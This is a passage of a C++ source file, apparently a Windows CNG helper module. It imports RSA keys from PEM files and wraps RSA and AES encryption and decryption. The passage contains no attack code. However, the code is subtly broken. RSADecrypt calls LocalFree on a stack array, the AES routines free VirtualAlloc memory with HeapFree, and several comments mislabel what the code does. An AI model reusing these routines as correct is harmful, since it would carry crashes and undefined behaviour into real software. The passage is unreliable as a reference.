BCryptImportPrivateKey( BCRYPT_ALG_HANDLE hProvider, PBYTE lpData, ULONG dwDataLen, BCRYPT_KEY_HANDLE* hKey ) 56 | { 57 | BOOL bResult = FALSE; 58 | NTSTATUS Status = NO_ERROR; 59 | 60 | ULONG cb = 0; 61 | PCRYPT_PRIVATE_KEY_INFO PrivateKeyInfo = nullptr; 62 | BCRYPT_RSAKEY_BLOB* prkb = nullptr; 63 | 64 | bResult = ::CryptDecodeObjectEx( 65 | X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 66 | PKCS_PRIVATE_KEY_INFO, 67 | lpData, 68 | dwDataLen, 69 | CRYPT_DECODE_ALLOC_FLAG | CRYPT_DECODE_NOCOPY_FLAG, 70 | 0, ( void** )&PrivateKeyInfo, &cb 71 | ); 72 | 73 | if( !bResult ) 74 | { 75 | printf( __FUNCTION__ " -- CryptDecodeObjectEx failed 0x%X\n", ::GetLastError( ) ); 76 | goto Exit; 77 | } 78 | 79 | bResult = ::CryptDecodeObjectEx( 80 | X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 81 | CNG_RSA_PRIVATE_KEY_BLOB, 82 | PrivateKeyInfo->PrivateKey.pbData, 83 | PrivateKeyInfo->PrivateKey.cbData, 84 | CRYPT_DECODE_ALLOC_FLAG, 85 | 0, ( void** )&prkb, &cb 86 | ); 87 | 88 | if( !bResult ) 89 | { 90 | printf( __FUNCTION__ " -- CryptDecodeObjectEx failed 0x%X\n", ::GetLastError( ) ); 91 | goto Exit; 92 | } 93 | 94 | Status = ::BCryptImportKeyPair( 95 | hProvider, 96 | NULL, 97 | BCRYPT_RSAPRIVATE_BLOB, 98 | hKey, 99 | ( PUCHAR )prkb, 100 | cb, 101 | 0 ); 102 | 103 | bResult = ( Status == NO_ERROR ); 104 | if( !bResult ) 105 | { 106 | printf( __FUNCTION__ " -- BCryptImportKey failed 0x%X\n", Status ); 107 | goto Exit; 108 | } 109 | 110 | Exit: 111 | if( prkb ) 112 | ::LocalFree( prkb ); 113 | 114 | if( PrivateKeyInfo ) 115 | ::LocalFree( PrivateKeyInfo ); 116 | 117 | return bResult; 118 | } 119 | 120 | BOOL BCryptImportPublicKey( BCRYPT_ALG_HANDLE hProvider, PBYTE lpData, ULONG dwDataLen, BCRYPT_KEY_HANDLE* hKey ) 121 | { 122 | BOOL bResult = FALSE; 123 | NTSTATUS Status = NO_ERROR; 124 | 125 | union 126 | { 127 | PVOID pvStructInfo; 128 | PCERT_INFO pCertInfo; 129 | PCERT_PUBLIC_KEY_INFO PublicKeyInfo; 130 | }; 131 | 132 | ULONG cb = 0; 133 | BCRYPT_RSAKEY_BLOB* prkb = nullptr; 134 | 135 | bResult = ::CryptDecodeObjectEx( X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 136 | X509_PUBLIC_KEY_INFO, 137 | lpData, 138 | dwDataLen, 139 | CRYPT_DECODE_ALLOC_FLAG | CRYPT_DECODE_NOCOPY_FLAG, 0, &pvStructInfo, &cb ); 140 | 141 | if( !bResult ) 142 | { 143 | printf( __FUNCTION__ " -- CryptDecodeObjectEx failed 0x%X\n", ::GetLastError( ) ); 144 | goto Exit; 145 | } 146 | 147 | bResult = ::CryptDecodeObjectEx( X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 148 | CNG_RSA_PUBLIC_KEY_BLOB, 149 | PublicKeyInfo->PublicKey.pbData, 150 | PublicKeyInfo->PublicKey.cbData, 151 | CRYPT_DECODE_ALLOC_FLAG, 0, ( void** )&prkb, &cb ); 152 | 153 | if( !bResult ) 154 | { 155 | printf( __FUNCTION__ " -- CryptDecodeObjectEx failed 0x%X\n", ::GetLastError( ) ); 156 | goto Exit; 157 | } 158 | 159 | Status = BCryptImportKeyPair( 160 | hProvider, 161 | NULL, 162 | BCRYPT_RSAPUBLIC_BLOB, 163 | hKey, 164 | ( PUCHAR )prkb, 165 | cb, 166 | 0 ); 167 | 168 | bResult = ( Status == NO_ERROR ); 169 | if( !bResult ) 170 | { 171 | printf( __FUNCTION__ " -- BCryptImportKey failed 0x%X\n", Status ); 172 | goto Exit; 173 | } 174 | 175 | Exit: 176 | if( prkb ) 177 | ::LocalFree( prkb ); 178 | 179 | if( pvStructInfo ) 180 | ::LocalFree( pvStructInfo ); 181 | 182 | return bResult; 183 | } 184 | 185 | BOOL RSADecrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE* lpDecryptedBuffer, PDWORD dwDecryptedBufferLen ) 186 | { 187 | NTSTATUS Status = NO_ERROR; 188 | BOOL bResult = FALSE; 189 | 190 | if( !pbInputData || dwInputDataSize <= 0 || !lpDecryptedBuffer || !dwDecryptedBufferLen ) 191 | { 192 | printf( __FUNCTION__ " -- Invalid params!\n" ); 193 | return FALSE; 194 | } 195 | 196 | BCRYPT_ALG_HANDLE hProvider = NULL; 197 | BCRYPT_KEY_HANDLE hKey = NULL; 198 | 199 | LPBYTE pbKeyBuffer = nullptr; 200 | DWORD dwKeyBufferLen = 0; 201 | 202 | BYTE DERPrivKey[ 2048 ]{ }; 203 | DWORD DERPrivKeyLen = sizeof( DERPrivKey ); 204 | 205 | // 206 | // Open the RSA crypto provider 207 | // 208 | Status = ::BCryptOpenAlgorithmProvider( 209 | &hProvider, 210 | BCRYPT_RSA_ALGORITHM, 211 | NULL, 212 | 0 ); 213 | 214 | bResult = ( Status == NO_ERROR ); 215 | if( !bResult ) 216 | { 217 | printf( __FUNCTION__ " -- BCryptOpenAlgorithmProvider failed 0x%X\n", Status ); 218 | goto Exit; 219 | } 220 | 221 | // 222 | // Read public key from disk 223 | // 224 | bResult = ReadFileToByteArray( RSA_PRIVATE_KEY_FILENAME, &pbKeyBuffer, &dwKeyBufferLen ); 225 | if( !bResult ) 226 | { 227 | printf( __FUNCTION__ " -- ReadFileToByteArray failed!\n" ); 228 | goto Exit; 229 | } 230 | 231 | // 232 | // Convert PEM to DER 233 | // 234 | bResult = ::CryptStringToBinaryA( 235 | ( LPCSTR )pbKeyBuffer, 236 | 0, 237 | CRYPT_STRING_BASE64HEADER, 238 | DERPrivKey, 239 | &DERPrivKeyLen, 240 | NULL, 241 | NULL ); 242 | 243 | if( !bResult ) 244 | { 245 | printf( __FUNCTION__ " -- CryptStringToBinaryA failed 0x%X\n", ::GetLastError( ) ); 246 | goto Exit; 247 | } 248 | 249 | // 250 | // Import RSA Public Key 251 | // 252 | bResult = ::BCryptImportPrivateKey( hProvider, DERPrivKey, DERPrivKeyLen, &hKey ); 253 | if( !bResult ) 254 | { 255 | printf( __FUNCTION__ " -- BCryptImportKeyPair failed!\n" ); 256 | goto Exit; 257 | } 258 | 259 | // 260 | // Get Required encrypted buffer length 261 | // 262 | Status = ::BCryptDecrypt( 263 | hKey, 264 | pbInputData, 265 | dwInputDataSize, 266 | NULL, 267 | NULL, 268 | 0, 269 | NULL, 270 | 0, 271 | dwDecryptedBufferLen, 272 | BCRYPT_PAD_PKCS1 ); 273 | 274 | bResult = ( Status == NO_ERROR ); 275 | if( !bResult ) 276 | { 277 | printf( __FUNCTION__ " -- BCryptDecrypt failed 0x%X\n", Status ); 278 | goto Exit; 279 | } 280 | 281 | // 282 | // Allocate buffer for output ciphertext, HeapAlloc is used because RSA block sizes are not huge 283 | // 284 | *lpDecryptedBuffer = ( PBYTE )::HeapAlloc( ::GetProcessHeap( ), HEAP_ZERO_MEMORY, *dwDecryptedBufferLen ); 285 | 286 | bResult = ( *lpDecryptedBuffer != nullptr ); 287 | if( !bResult ) 288 | { 289 | printf( __FUNCTION__ " -- HeapAlloc failed %d\n", ::GetLastError( ) ); 290 | goto Exit; 291 | } 292 | 293 | // 294 | // Perform encryption 295 | // 296 | Status = ::BCryptDecrypt( 297 | hKey, 298 | pbInputData, 299 | dwInputDataSize, 300 | NULL, 301 | NULL, 302 | 0, 303 | *lpDecryptedBuffer, 304 | *dwDecryptedBufferLen, 305 | dwDecryptedBufferLen, 306 | BCRYPT_PAD_PKCS1 ); 307 | 308 | bResult = ( Status == NO_ERROR ); 309 | if( !bResult ) 310 | { 311 | // 312 | // Since we're returning FALSE we wanna release the heap buffer here. 313 | // 314 | ::HeapFree( ::GetProcessHeap( ), 0, *lpDecryptedBuffer ); 315 | *lpDecryptedBuffer = nullptr; 316 | 317 | printf( __FUNCTION__ " -- BCryptDecrypt failed 0x%X\n", Status ); 318 | goto Exit; 319 | } 320 | 321 | Exit: 322 | if( DERPrivKey ) 323 | ::LocalFree( DERPrivKey ); 324 | 325 | if( pbKeyBuffer ) 326 | ::VirtualFree( pbKeyBuffer, 0, MEM_RELEASE ); 327 | 328 | if( hKey ) 329 | ::BCryptDestroyKey( hKey ); 330 | 331 | if( hProvider ) 332 | ::BCryptCloseAlgorithmProvider( hProvider, 0 ); 333 | 334 | return bResult; 335 | } 336 | 337 | BOOL RSAEncrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE* lpEncryptedBuffer, PDWORD dwEncryptedBufferLen ) 338 | { 339 | NTSTATUS Status = NO_ERROR; 340 | BOOL bResult = FALSE; 341 | 342 | if( !pbInputData || dwInputDataSize <= 0 || !lpEncryptedBuffer || !dwEncryptedBufferLen ) 343 | { 344 | printf( __FUNCTION__ " -- Invalid params!\n" ); 345 | return FALSE; 346 | } 347 | 348 | BCRYPT_ALG_HANDLE hProvider = NULL; 349 | BCRYPT_KEY_HANDLE hKey = NULL; 350 | 351 | LPBYTE pbKeyBuffer = nullptr; 352 | DWORD dwKeyBufferLen = 0; 353 | 354 | BYTE DERPubKey[ 2048 ]{ }; 355 | DWORD DERPubKeyLen = sizeof( DERPubKey ); 356 | 357 | // 358 | // Open the RSA crypto provider 359 | // 360 | Status = ::BCryptOpenAlgorithmProvider( 361 | &hProvider, 362 | BCRYPT_RSA_ALGORITHM, 363 | NULL, 364 | 0 ); 365 | 366 | bResult = ( Status == NO_ERROR ); 367 | if( !bResult ) 368 | { 369 | printf( __FUNCTION__ " -- BCryptOpenAlgorithmProvider failed 0x%X\n", Status ); 370 | goto Exit; 371 | } 372 | 373 | // 374 | // Read public key from disk 375 | // 376 | bResult = ReadFileToByteArray( RSA_PUBLIC_KEY_FILENAME, &pbKeyBuffer, &dwKeyBufferLen ); 377 | if( !bResult ) 378 | { 379 | printf( __FUNCTION__ " -- ReadFileToByteArray failed!\n" ); 380 | goto Exit; 381 | } 382 | 383 | // 384 | // Convert PEM to DER 385 | // 386 | bResult = ::CryptStringToBinaryA( ( LPCSTR )pbKeyBuffer, 387 | 0, 388 | CRYPT_STRING_BASE64HEADER, 389 | DERPubKey, 390 | &DERPubKeyLen, 391 | NULL, 392 | NULL ); 393 | 394 | if( !bResult ) 395 | { 396 | printf( __FUNCTION__ " -- CryptStringToBinaryA failed 0x%X\n", ::GetLastError( ) ); 397 | goto Exit; 398 | } 399 | 400 | // 401 | // Import AES Public Key 402 | // 403 | bResult = BCryptImportPublicKey( hProvider, DERPubKey, DERPubKeyLen, &hKey ); 404 | if( !bResult ) 405 | { 406 | printf( __FUNCTION__ " -- BCryptImportKeyPair failed!\n" ); 407 | goto Exit; 408 | } 409 | 410 | // 411 | // Get Required encrypted buffer length 412 | // 413 | Status = ::BCryptEncrypt( 414 | hKey, 415 | pbInputData, 416 | dwInputDataSize, 417 | NULL, 418 | NULL, 419 | 0, 420 | NULL, 421 | 0, 422 | dwEncryptedBufferLen, 423 | BCRYPT_PAD_PKCS1 ); 424 | 425 | bResult = ( Status == NO_ERROR ); 426 | if( !bResult ) 427 | { 428 | printf( __FUNCTION__ " -- BCryptEncrypt failed 0x%X\n", Status ); 429 | goto Exit; 430 | } 431 | 432 | // 433 | // Allocate buffer for output ciphertext, HeapAlloc is used because RSA block sizes are not huge 434 | // 435 | *lpEncryptedBuffer = ( PBYTE )::HeapAlloc( ::GetProcessHeap( ), HEAP_ZERO_MEMORY, *dwEncryptedBufferLen ); 436 | 437 | bResult = ( *lpEncryptedBuffer != nullptr ); 438 | if( !bResult ) 439 | { 440 | printf( __FUNCTION__ " -- HeapAlloc failed %d\n", ::GetLastError( ) ); 441 | goto Exit; 442 | } 443 | 444 | // 445 | // Perform encryption 446 | // 447 | Status = ::BCryptEncrypt( 448 | hKey, 449 | pbInputData, 450 | dwInputDataSize, 451 | NULL, 452 | NULL, 453 | 0, 454 | *lpEncryptedBuffer, 455 | *dwEncryptedBufferLen, 456 | dwEncryptedBufferLen, 457 | BCRYPT_PAD_PKCS1 ); 458 | 459 | bResult = ( Status == NO_ERROR ); 460 | if( !bResult ) 461 | { 462 | // 463 | // Since we're returning FALSE we wanna release the heap buffer here. 464 | // 465 | ::HeapFree( ::GetProcessHeap( ), 0, *lpEncryptedBuffer ); 466 | *lpEncryptedBuffer = nullptr; 467 | 468 | printf( __FUNCTION__ " -- BCryptEncrypt failed 0x%X\n", Status ); 469 | goto Exit; 470 | } 471 | 472 | Exit: 473 | if( pbKeyBuffer ) 474 | ::VirtualFree( pbKeyBuffer, 0, MEM_RELEASE ); 475 | 476 | if( hKey ) 477 | ::BCryptDestroyKey( hKey ); 478 | 479 | if( hProvider ) 480 | ::BCryptCloseAlgorithmProvider( hProvider, 0 ); 481 | 482 | return bResult; 483 | } 484 | 485 | BOOL AESEncrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE pbKey, DWORD dwKeyLen, PBYTE pbIV, DWORD dwIVLen, PBYTE* lpEncryptedBuffer, PDWORD dwEncryptedBufferLen ) 486 | { 487 | NTSTATUS Status = NO_ERROR; 488 | BOOL bResult = FALSE; 489 | 490 | if( !pbInputData || dwInputDataSize <= 0 || !lpEncryptedBuffer || !dwEncryptedBufferLen ) 491 | { 492 | printf( __FUNCTION__ " -- Invalid params!\n" ); 493 | return FALSE; 494 | } 495 | 496 | BCRYPT_ALG_HANDLE hProvider = NULL; 497 | BCRYPT_KEY_HANDLE hKey = NULL; 498 | 499 | BYTE TempInitVector[ 16 ]{ }; 500 | memcpy( TempInitVector, pbIV, dwIVLen ); 501 | 502 | // 503 | // Open Crypto Provider for AES 504 | // 505 | Status = ::BCryptOpenAlgorithmProvider( 506 | &hProvider, 507 | BCRYPT_AES_ALGORITHM, 508 | NULL, 509 | 0 ); 510 | 511 | bResult = ( Status == NO_ERROR ); 512 | if( !bResult ) 513 | { 514 | printf( __FUNCTION__ " -- BCryptOpenAlgorithmProvider failed 0x%X\n", Status ); 515 | goto Exit; 516 | } 517 | 518 | // 519 | // Set the encryption key 520 | // 521 | Status = ::BCryptGenerateSymmetricKey( 522 | hProvider, 523 | &hKey, 524 | NULL, 525 | 0, 526 | pbKey, 527 | dwKeyLen, 528 | 0 ); 529 | 530 | bResult = ( Status == NO_ERROR ); 531 | if( !bResult ) 532 | { 533 | printf( __FUNCTION__ " -- BCryptGenerateSymmetricKey failed 0x%X\n", Status ); 534 | goto Exit; 535 | } 536 | 537 | // 538 | // Get Required encrypted buffer length 539 | // 540 | Status = ::BCryptEncrypt( 541 | hKey, 542 | pbInputData, 543 | dwInputDataSize, 544 | NULL, 545 | TempInitVector, 546 | dwIVLen, 547 | NULL, 548 | 0, 549 | dwEncryptedBufferLen, 550 | BCRYPT_BLOCK_PADDING ); 551 | 552 | bResult = ( Status == NO_ERROR ); 553 | if( !bResult ) 554 | { 555 | printf( __FUNCTION__ " -- BCryptEncrypt failed 0x%X\n", Status ); 556 | goto Exit; 557 | } 558 | 559 | // 560 | // Allocate buffer for output ciphertext, VirtualAlloc will be used because we may store huge data 561 | // 562 | *lpEncryptedBuffer = ( PBYTE )::VirtualAlloc( nullptr, *dwEncryptedBufferLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); 563 | 564 | bResult = ( *lpEncryptedBuffer != nullptr ); 565 | if( !bResult ) 566 | { 567 | printf( __FUNCTION__ " -- VirtualAlloc failed %d\n", ::GetLastError( ) ); 568 | goto Exit; 569 | } 570 | 571 | // 572 | // Perform encryption 573 | // 574 | Status = ::BCryptEncrypt( 575 | hKey, 576 | pbInputData, 577 | dwInputDataSize, 578 | NULL, 579 | TempInitVector, 580 | dwIVLen, 581 | *lpEncryptedBuffer, 582 | *dwEncryptedBufferLen, 583 | dwEncryptedBufferLen, 584 | BCRYPT_BLOCK_PADDING ); 585 | 586 | bResult = ( Status == NO_ERROR ); 587 | if( !bResult ) 588 | { 589 | // 590 | // Since we're returning FALSE we wanna release the heap buffer here. 591 | // 592 | ::HeapFree( ::GetProcessHeap( ), 0, *lpEncryptedBuffer ); 593 | *lpEncryptedBuffer = nullptr; 594 | 595 | printf( __FUNCTION__ " -- BCryptEncrypt failed 0x%X\n", Status ); 596 | goto Exit; 597 | } 598 | 599 | Exit: 600 | if( hKey ) 601 | ::BCryptDestroyKey( hKey ); 602 | 603 | if( hProvider ) 604 | ::BCryptCloseAlgorithmProvider( hProvider, 0 ); 605 | 606 | return bResult; 607 | } 608 | 609 | BOOL AESDecrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE pbKey, DWORD dwKeyLen, PBYTE pbIV, DWORD dwIVLen, PBYTE* lpDecryptedBuffer, PDWORD dwDecryptedBufferLen ) 610 | { 611 | NTSTATUS Status = NO_ERROR; 612 | BOOL bResult = FALSE; 613 | 614 | if( !pbInputData || dwInputDataSize <= 0 || !lpDecryptedBuffer || !dwDecryptedBufferLen ) 615 | { 616 | printf( __FUNCTION__ " -- Invalid params!\n" ); 617 | return FALSE; 618 | } 619 | 620 | BCRYPT_ALG_HANDLE hProvider = NULL; 621 | BCRYPT_KEY_HANDLE hKey = NULL; 622 | 623 | BYTE TempInitVector[ 16 ]{ }; 624 | memcpy( TempInitVector, pbIV, dwIVLen ); 625 | 626 | // 627 | // Open Crypto Provider for AES 628 | // 629 | Status = ::BCryptOpenAlgorithmProvider( 630 | &hProvider, 631 | BCRYPT_AES_ALGORITHM, 632 | NULL, 633 | 0 ); 634 | 635 | bResult = ( Status == NO_ERROR ); 636 | if( !bResult ) 637 | { 638 | printf( __FUNCTION__ " -- BCryptOpenAlgorithmProvider failed 0x%X\n", Status ); 639 | goto Exit; 640 | } 641 | 642 | // 643 | // Set the encryption key 644 | // 645 | Status = ::BCryptGenerateSymmetricKey( 646 | hProvider, 647 | &hKey, 648 | NULL, 649 | 0, 650 | pbKey, 651 | dwKeyLen, 652 | 0 ); 653 | 654 | bResult = ( Status == NO_ERROR ); 655 | if( !bResult ) 656 | { 657 | printf( __FUNCTION__ " -- BCryptGenerateSymmetricKey failed 0x%X\n", Status ); 658 | goto Exit; 659 | } 660 | 661 | // 662 | // Get Required encrypted buffer length 663 | // 664 | Status = ::BCryptDecrypt( 665 | hKey, 666 | pbInputData, 667 | dwInputDataSize, 668 | NULL, 669 | TempInitVector, 670 | dwIVLen, 671 | NULL, 672 | 0, 673 | dwDecryptedBufferLen, 674 | BCRYPT_BLOCK_PADDING ); 675 | 676 | bResult = ( Status == NO_ERROR ); 677 | if( !bResult ) 678 | { 679 | printf( __FUNCTION__ " -- BCryptDecrypt failed 0x%X\n", Status ); 680 | goto Exit; 681 | } 682 | 683 | // 684 | // Allocate buffer for output ciphertext, VirtualAlloc will be used because we may store huge data 685 | // 686 | *lpDecryptedBuffer = ( PBYTE )::VirtualAlloc( nullptr, *dwDecryptedBufferLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); 687 | 688 | bResult = ( *lpDecryptedBuffer != nullptr ); 689 | if( !bResult ) 690 | { 691 | printf( __FUNCTION__ " -- VirtualAlloc failed %d\n", ::GetLastError( ) ); 692 | goto Exit; 693 | } 694 | 695 | // 696 | // Perform encryption 697 | // 698 | Status = ::BCryptDecrypt( 699 | hKey, 700 | pbInputData, 701 | dwInputDataSize, 702 | NULL, 703 | TempInitVector, 704 | dwIVLen, 705 | *lpDecryptedBuffer, 706 | *dwDecryptedBufferLen, 707 | dwDecryptedBufferLen, 708 | BCRYPT_BLOCK_PADDING ); 709 | 710 | bResult = ( Status == NO_ERROR ); 711 | if( !bResult ) 712 | { 713 | // 714 | // Since we're returning FALSE we wanna release the heap buffer here. 715 | // 716 | ::HeapFree( ::GetProcessHeap( ), 0, *lpDecryptedBuffer ); 717 | *lpDecryptedBuffer = nullptr; 718 | 719 | printf( __FUNCTION__ " -- BCryptDecrypt failed 0x%X\n", Status ); 720 | goto Exit; 721 | } 722 | 723 | Exit: 724 | if( hKey ) 725 | ::BCryptDestroyKey( hKey ); 726 | 727 | if( hProvider ) 728 | ::BCryptCloseAlgorithmProvider( hProvider, 0 ); 729 | 730 | return bResult; 731 | } --------------------------------------------------------------------------------